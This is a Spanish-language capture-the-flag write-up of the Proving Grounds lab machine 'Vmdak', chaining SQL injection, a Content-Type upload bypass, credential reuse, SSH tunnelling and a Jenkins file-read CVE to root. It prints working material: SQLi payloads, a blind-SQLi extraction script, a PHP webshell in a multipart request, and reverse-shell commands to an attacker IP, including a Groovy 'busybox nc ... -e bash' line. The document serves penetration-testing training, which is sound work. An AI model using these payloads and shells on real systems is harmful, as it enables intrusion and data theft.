the_open_door
café
ESEN

Vmdak

Proving Grounds PracticeMediaLinux192.168.114.103

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#prison-management-system#cve-2024-33288#sqli#blind-sqli#cve-2024-48594#file-upload#content-type-bypass#jenkins#cve-2024-23897#local-port-forwarding#credential-hunting#oscp
TL;DR. El 9443 sirve un Prison Management System vulnerable a la CVE-2024-33288 (SQLi de bypass de login) (bypass de autenticación por SQLi); dentro del panel, un parte de vacaciones lleva escrita una contraseña (caza de credenciales) y un SQLi a ciegas (SQLi a ciegas) saca las credenciales de la aplicación. La CVE-2024-48594 sube un .php falseando el Content-Type para RCE como www-data (bypass de Content-Type). La contraseña del parte, reutilizada, nos da vmdak. El FTP anónimo ya delataba un Jenkins interno; con un túnel SSH (reenvío de puertos local) llegamos a él y la CVE-2024-23897 filtra el initialAdminPassword (Jenkins CLI arbitrary file read), que abre la Script Console para ejecutar como root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. FTP, SSH, un Apache por defecto y un HTTPS con el "Prison Management System".

ping -c 1 192.168.114.103
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.103
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
9443/tcp open  ssl/http
nmap -p21,22,80,9443 -sCV 192.168.114.103 -oN targetedScan
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            1752 Sep 19  2024 config.xml
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4
80/tcp   open  http     Apache httpd 2.4.58 ((Ubuntu))
9443/tcp open  ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title:  Home - Prison Management System
| ssl-cert: Subject: commonName=vmdak.local/organizationName=PrisonManagement/...

FTP - TCP 21: Jenkins escondido

El FTP permite login anónimo (FTP anónimo) y comparte un config.xml:

ftp 192.168.114.103   # anonymous
get config.xml

Es un fichero de configuración de Jenkins 2.401.2 (<hudson>, <version>2.401.2</version>). No hay Jenkins expuesto en los puertos externos, pero una línea llama la atención:

<InitialRootPassword>/root/.jenkins/secrets/initialAdminPassword></InitialRootPassword>

Anotamos: hay un Jenkins interno (bind a localhost) y su initialAdminPassword corre bajo root. Volveremos a ello en la escalada.

HTTPS - TCP 9443: Prison Management System

El 9443 es un "Prison Management System" (Fast5). Un barrido de rutas (descubrimiento de contenido web) encuentra el panel:

dirsearch -u https://192.168.114.103:9443/ --exclude-status=404,403 -t 200

El formulario ADMIN LOGIN FORM de Fast5 Prison Management system en /Admin/login.php

[19:39:42] 301 -  326B  - /Admin  ->  https://192.168.114.103:9443/Admin/
[19:39:42] 302 -   10KB - /Admin/  ->  login.php

searchsploit identifica el producto al instante:

searchsploit prison
Prison Management System - SQL Injection Authentication Bypass   | php/webapps/52017.txt   (CVE-2024-33288)

Explotación

CVE-2024-33288: bypass de login por SQLi

El PoC del 52017.txt es directo: usuario admin' or '1'='1 y cualquier contraseña. La condición inyectada hace verdadera la cláusula WHERE completa y el SELECT devuelve la primera fila de users (bypass de autenticación por SQLi). Aquí basta con la variante corta:

El formulario de login con la carga 'or 1=1-- - en el campo de usuario y una contraseña cualquiera

El panel: una contraseña escrita en un parte de vacaciones

Entramos como la primera fila de la tabla, Caroline Bassey. El menú "Leave Management" guarda un único registro, y su campo "Reason" no es un motivo de ausencia sino un recordatorio (caza de credenciales):

# Leave Record
Staff Name  Leave ID   Start Date   End Date     Reason                                       Status
Malcom      2023399    2023-10-29   2023-11-15   Dont forget the password: RonnyCache001      Approved

El panel de leave_record.php como Caroline Bassey, con un parte cuyo motivo es 'Dont forget the password: RonnyCache001'

Nos guardamos RonnyCache001: todavía no sabemos de quién es.

Cuántas columnas tiene la consulta

Antes de automatizar nada conviene medir la inyección. Interceptamos el POST con Burp y sustituimos el usuario por un ORDER BY N para contar las columnas del SELECT:

Burp intercepta el POST a /Admin/login.php con la carga 'ORDER BY 5-- - en el campo de usuario

Con seis, MySQL rompe la consulta y PHP devuelve un error del servidor:

txtusername=%27ORDER+BY+6--+-&txtpassword=hola&btnlogin=

HTTP/1.0 500 Internal Server Error
Content-Length: 0
Connection: close

La petición con ORDER BY 6 devuelve HTTP/1.0 500 Internal Server Error y Content-Length 0

Con cinco, la aplicación responde con normalidad:

txtusername=%27ORDER+BY+5--+-&txtpassword=hola&btnlogin=

HTTP/1.1 200 OK
Content-Length: 3658

La petición con ORDER BY 5 devuelve HTTP/1.1 200 OK y el HTML del login

Cinco columnas, y dos respuestas perfectamente distinguibles. Eso es todo lo que necesita un SQLi a ciegas booleano.

SQLi a ciegas: volcado de credenciales

El oráculo no es el 200 contra el 500, sino el 302: cuando la condición inyectada es verdadera la aplicación considera el login correcto y redirige al panel; cuando es falsa devuelve el formulario. Un script en Python recorre posición a posición y carácter a carácter, y se queda con el carácter que provoca el redirect:

post_data = {
    'txtusername': "'or (select BINARY substring(database(),%d,1))='%s'-- -" % (position, character),
    'txtpassword': 'test', 'btnlogin': 'x'
}
r = requests.post(login_url, data=post_data, allow_redirects=False, verify=False)
if r.status_code == 302:
    result += character   # el carácter es correcto

Dos detalles del script que importan: allow_redirects=False (si requests sigue el 302 se pierde el oráculo) y verify=False (el 9443 usa un certificado autofirmado de vmdak.local). El BINARY fuerza una comparación sensible a mayúsculas, que por defecto MySQL no hace.

Primero, el nombre de la base de datos:

[d] SQLi: employee_akpoly

El script saca el nombre de la base de datos carácter a carácter: employee_akpoly

Después las tablas, cambiando el substring por un group_concat sobre information_schema.tables. A partir de aquí el script compara con hex() en los dos lados, que evita problemas de cotejo y de caracteres raros:

'txtusername': "'or hex(substring((select group_concat(table_name) from information_schema.tables "
               "where table_schema='employee_akpoly'),%d,1))=hex('%s')-- -" % (position, character)
[o] SQLi: tblemployee,tblleave,users

Las tablas de employee_akpoly extraídas a ciegas: tblemployee, tblleave, users

Las columnas de users, con la misma técnica sobre information_schema.columns:

[\] SQLi: username,password,phone,fullname,photo

Las columnas de la tabla users: username, password, phone, fullname, photo

Y por fin los datos. El alfabeto del script es ascii_lowercase + ascii_uppercase + digits + "-_,", así que los dos puntos del group_concat(fullname,':',username,':',password) no se pueden adivinar y la salida sale pegada:

[|] SQLi: CarolineBasseyadminadmin123

El script de SQLi a ciegas extrae CarolineBasseyadminadmin123 carácter a carácter

Sabiendo que el separador era :, se lee sin esfuerzo: CarolineBassey / admin / admin123. Las credenciales entran por la puerta principal, sin inyección:

El formulario de login con las credenciales recuperadas admin / admin123

CVE-2024-48594: subida arbitraria por bypass de Content-Type

El perfil de administrador (/Admin/edit-photo.php) deja cambiar la foto de usuario. La CVE-2024-48594 es exactamente eso: la aplicación se fía del Content-Type que declara el navegador y no mira ni la extensión ni el contenido real del fichero (bypass de Content-Type, subida de ficheros a RCE).

El identificador solo da el resumen del NVD, así que la búsqueda hay que orientarla a lo explotable. Con CVE-2024-48594 git exploit aparece un cuaderno de notas de pentesting con una página dedicada a este mismo Prison Management System:

la búsqueda CVE-2024-48594 git exploit devuelve el resumen del NVD y la página Prison Management System de Pentest Journeys en GitBook

30 oct 2024 - Summary. File Upload vulnerability in Prison Management System v.1.0 allows a remote
attacker to execute arbitrary code via the file upload ...

GitBook - https://x7331.gitbook.io > web
Prison Management System | Pentest Journeys - GitBook

Y esa página trae la petición entera, con el part del avatar ya montado y la cabecera que hay que tocar marcada. De ahí sale, literalmente, el cuerpo multipart que se usa a continuación:

la página de Pentest Journeys con la petición multipart completa y el Content-Type image/png del part del avatar resaltado

------WebKitFormBoundaryyCVxsS8itKVeQYh3
Content-Disposition: form-data; name="txtusername"

test2
------WebKitFormBoundaryyCVxsS8itKVeQYh3
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/png

<?php system($_GET['c']);?>
------WebKitFormBoundaryyCVxsS8itKVeQYh3
Content-Disposition: form-data; name="btncreate"
------WebKitFormBoundaryyCVxsS8itKVeQYh3--

Lo único que importa de todo ese bloque es el par de líneas del part del fichero:

Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/png

<?php system($_GET['c']);?>

Aquí no subimos una webshell sino una reverse shell de pentestmonkey (rev.php) apuntando a nuestra IP y, como puerto, el 22: el tráfico de salida hacia un 22 pasa desapercibido en cualquier filtrado perezoso.

$ip = '192.168.45.238';
$port = 22;

Al subirla tal cual, Firefox declara el tipo real y el servidor la rechaza:

Burp intercepta la subida de rev.php por edit-photo.php con Content-Type: application/x-php

Cambiamos esa única cabecera del part (no la del Content-Type: multipart/form-data de la petición) a image/png y el servidor la acepta:

Content-Disposition: form-data; name="avatar"; filename="rev.php"
Content-Type: image/png

HTTP/1.1 200 OK
refresh: 2;url=edit-photo.php

La misma petición con Content-Type: image/png devuelve HTTP/1.1 200 OK y un refresh a edit-photo.php

¿Dónde ha caído? La propia página lo dice: la foto de perfil se sirve desde el directorio de subidas, así que basta con pedirle al navegador la URL real de esa imagen, con Open Image in New Tab sobre el recuadro del perfil:

el menú contextual sobre la imagen de perfil de Caroline Bassey con Open Image in New Tab resaltado, junto al panel Edit Profile Photo

La pestaña que abre descubre la ruta, /uploadImage/. Ponemos un listener y visitamos https://192.168.114.103:9443/uploadImage/rev.php:

(Penelope)> listeners add -p 22
[+] Listening for reverse shells on 0.0.0.0:22 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 192.168.45.238
[+] Got reverse shell from vmdak.local~192.168.114.103-Linux-x86_64 😍 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
www-data@vmdak:/$ whoami
www-data

La reverse shell de /uploadImage/rev.php llega a Penelope, que la sube a PTY; whoami devuelve www-data

En el navegador la petición devuelve WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111). Las dos frases son de la propia shell de pentestmonkey y ninguna impide nada: el aviso del fork es cosmético y el "connection refused" corresponde al primer intento, contra el listener por defecto de Penelope (4444), antes de levantar el del 22. La conexión buena es la que aparece en el listener.

Ejecución como www-data.

Pivote de usuarios

La contraseña del parte de vacaciones

www-data no lleva a ningún sitio, pero el /etc/passwd deja ver que solo hay un usuario real con shell, y que su shell es /bin/sh. Probamos con la contraseña que el parte de vacaciones dejaba escrita (reutilización de credenciales):

cat /etc/passwd | grep sh
su vmdak

su vmdak con RonnyCache001 desde la shell de www-data; whoami e id confirman el usuario

root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
vmdak:x:1000:1000::/home/vmdak:/bin/sh
www-data@vmdak:/$ su vmdak
Password:
$ whoami
vmdak
$ id
uid=1000(vmdak) gid=1000(vmdak) groups=1000(vmdak)

RonnyCache001 no era la contraseña de "Malcom": era la de la cuenta de sistema.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario vmdak, con la IP 192.168.114.103 y el hostname vmdak.local

2cab96f7c8f869c05e1f43f9797d7dbf
vmdak
...
    inet 192.168.114.103/24 brd 192.168.114.255 scope global ens160
vmdak.local

Escalada de privilegios

Un Jenkins que solo escucha en localhost

El config.xml del FTP anticipaba un Jenkins interno, y el propio sistema de ficheros lo confirma: el directorio de trabajo de la sesión es /sys/fs/cgroup/system.slice/jenkins.service, es decir, hay una unidad de systemd llamada jenkins corriendo. netstat enseña dónde escucha:

netstat -tuln
curl localhost:8080
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:9443            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/>...
Authentication required

El 8080 está atado a 127.0.0.1, así que ningún escaneo desde fuera lo iba a ver. Y pide autenticación.

netstat -tuln desde la carpeta del cgroup de jenkins.service muestra 127.0.0.1:8080; curl responde Authentication required

Túnel SSH hasta el 8080

Como tenemos la contraseña de vmdak y el 22 está abierto, no hace falta subir ningún pivote: un reenvío de puertos local por SSH trae ese 8080 a nuestra máquina (reenvío de puertos local):

ssh vmdak@192.168.114.103 -L 8081:127.0.0.1:8080 &>/dev/null

El comando ssh con -L 8081:127.0.0.1:8080 pidiendo la contraseña de vmdak

Al abrirlo en el navegador aparece algo mejor que un login: la pantalla Unlock Jenkins. Este Jenkins nunca terminó el asistente de instalación, y esa pantalla dice en voz alta cuál es la contraseña de administrador y dónde vive, la misma ruta que ya venía en el config.xml del FTP anónimo:

/root/.jenkins/secrets/initialAdminPassword

La pantalla Unlock Jenkins a través del túnel (aquí sobre un 8085 local) señalando /root/.jenkins/secrets/initialAdminPassword

CVE-2024-23897: leer el initialAdminPassword

Ese Jenkins es 2.441, vulnerable a la CVE-2024-23897: el parser de argumentos del CLI expande un @ al contenido del fichero que le sigue, de modo que cualquiera sin autenticar puede leer ficheros arbitrarios con los permisos del proceso, que aquí es root (Jenkins CLI arbitrary file read). searchsploit tiene el exploit para esa versión:

searchsploit jenkins
searchsploit -m java/webapps/51993.py
python3 51993.py -u http://localhost:8081 -p /root/.jenkins/secrets/initialAdminPassword

El exploit 51993.py lee /root/.jenkins/secrets/initialAdminPassword por el túnel y devuelve 140ef31373034d19a77baa9c6b84a200

140ef31373034d19a77baa9c6b84a200

Nótese la ruta: /root/.jenkins. Jenkins no corre bajo un usuario de servicio, corre bajo root, así que todo lo que ejecutemos desde el panel será root sin necesidad de escalar nada más.

Script Console: Groovy como root

Con esa contraseña desbloqueamos el asistente y entramos como administrador. La Script Console de /computer/(built-in)/script ejecuta Groovy en la JVM del nodo, con los privilegios del proceso. Dejamos un listener y disparamos:

rlwrap nc -nlvp 9999
println "busybox nc 192.168.45.238 9999 -e bash".execute().text
listening on [any] 9999 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.114.103] 3...
whoami
root

La Script Console de Jenkins ejecuta el println con busybox nc y el listener recibe una shell cuyo whoami es root

Root

cat /root/proof.txt && ip a && whoami && hostname

proof.txt leída como root en vmdak.local

29d065fa82cfe1f1f50fc033dd5ff9d9
...
    inet 192.168.114.103/24 brd 192.168.114.255 scope global ens160
root
vmdak.local

Cadena de ataque

FTP 21 (anon)  --  config.xml -> Jenkins 2.401.2 interno + ruta initialAdminPassword
Prison Mgmt 9443  --  dirsearch -> /Admin/login.php
        │  CVE-2024-33288: 'or 1=1-- - -> panel como Caroline Bassey
        │        └─ parte de vacaciones: "Dont forget the password: RonnyCache001"
        │  ORDER BY 5/6 -> 5 columnas; el 302 como oráculo
        │  SQLi a ciegas -> employee_akpoly.users: admin:admin123
        │  CVE-2024-48594: rev.php con Content-Type image/png -> /uploadImage/rev.php
        ▼
www-data
        │  RonnyCache001 -> su vmdak
        ▼
vmdak  (local.txt)
        │  netstat -> 127.0.0.1:8080 (jenkins.service)
        │  ssh -L 8081:127.0.0.1:8080 -> Unlock Jenkins 2.441
        │  CVE-2024-23897: leer /root/.jenkins/secrets/initialAdminPassword
        │  Script Console (Groovy), proceso bajo root
        ▼
root  (proof.txt)

Lecciones aprendidas

  • El FTP anónimo puede filtrar la arquitectura. Un config.xml reveló un Jenkins interno y dónde vivía su contraseña; sin esa pista, el túnel no habría sido obvio.
  • Medir antes de automatizar. Dos peticiones con ORDER BY dieron el número de columnas y, sobre todo, dos respuestas distinguibles. Sin ese oráculo (aquí, el 302) el script a ciegas no tiene de qué tirar.
  • El alfabeto del script condiciona el resultado. Los : del group_concat no estaban en el conjunto de caracteres, así que la salida llegó pegada. Conviene saber qué se está pudiendo adivinar y qué no, y no confundir un separador ausente con un dato mal extraído.
  • Las contraseñas se esconden en campos de texto libre. El motivo de un parte de vacaciones no es un sitio donde nadie busque, y ahí estaba la credencial que abría la cuenta de sistema. Cualquier campo que un humano rellene a mano merece una lectura.
  • Validar solo el Content-Type no protege una subida. La CVE-2024-48594 aceptaba PHP con un image/png falso; hay que validar contenido real y forzar extensión y almacenamiento seguros.
  • Un servicio en localhost no es inaccesible. Con acceso a la máquina, un reenvío SSH lo expone. Y un Jenkins que nunca terminó su asistente anuncia por pantalla la ruta de su propia contraseña: con la CVE-2024-23897 leerla no requería ni estar autenticado.
Cheatsheet de comandos 25 comandos

Repaso rápido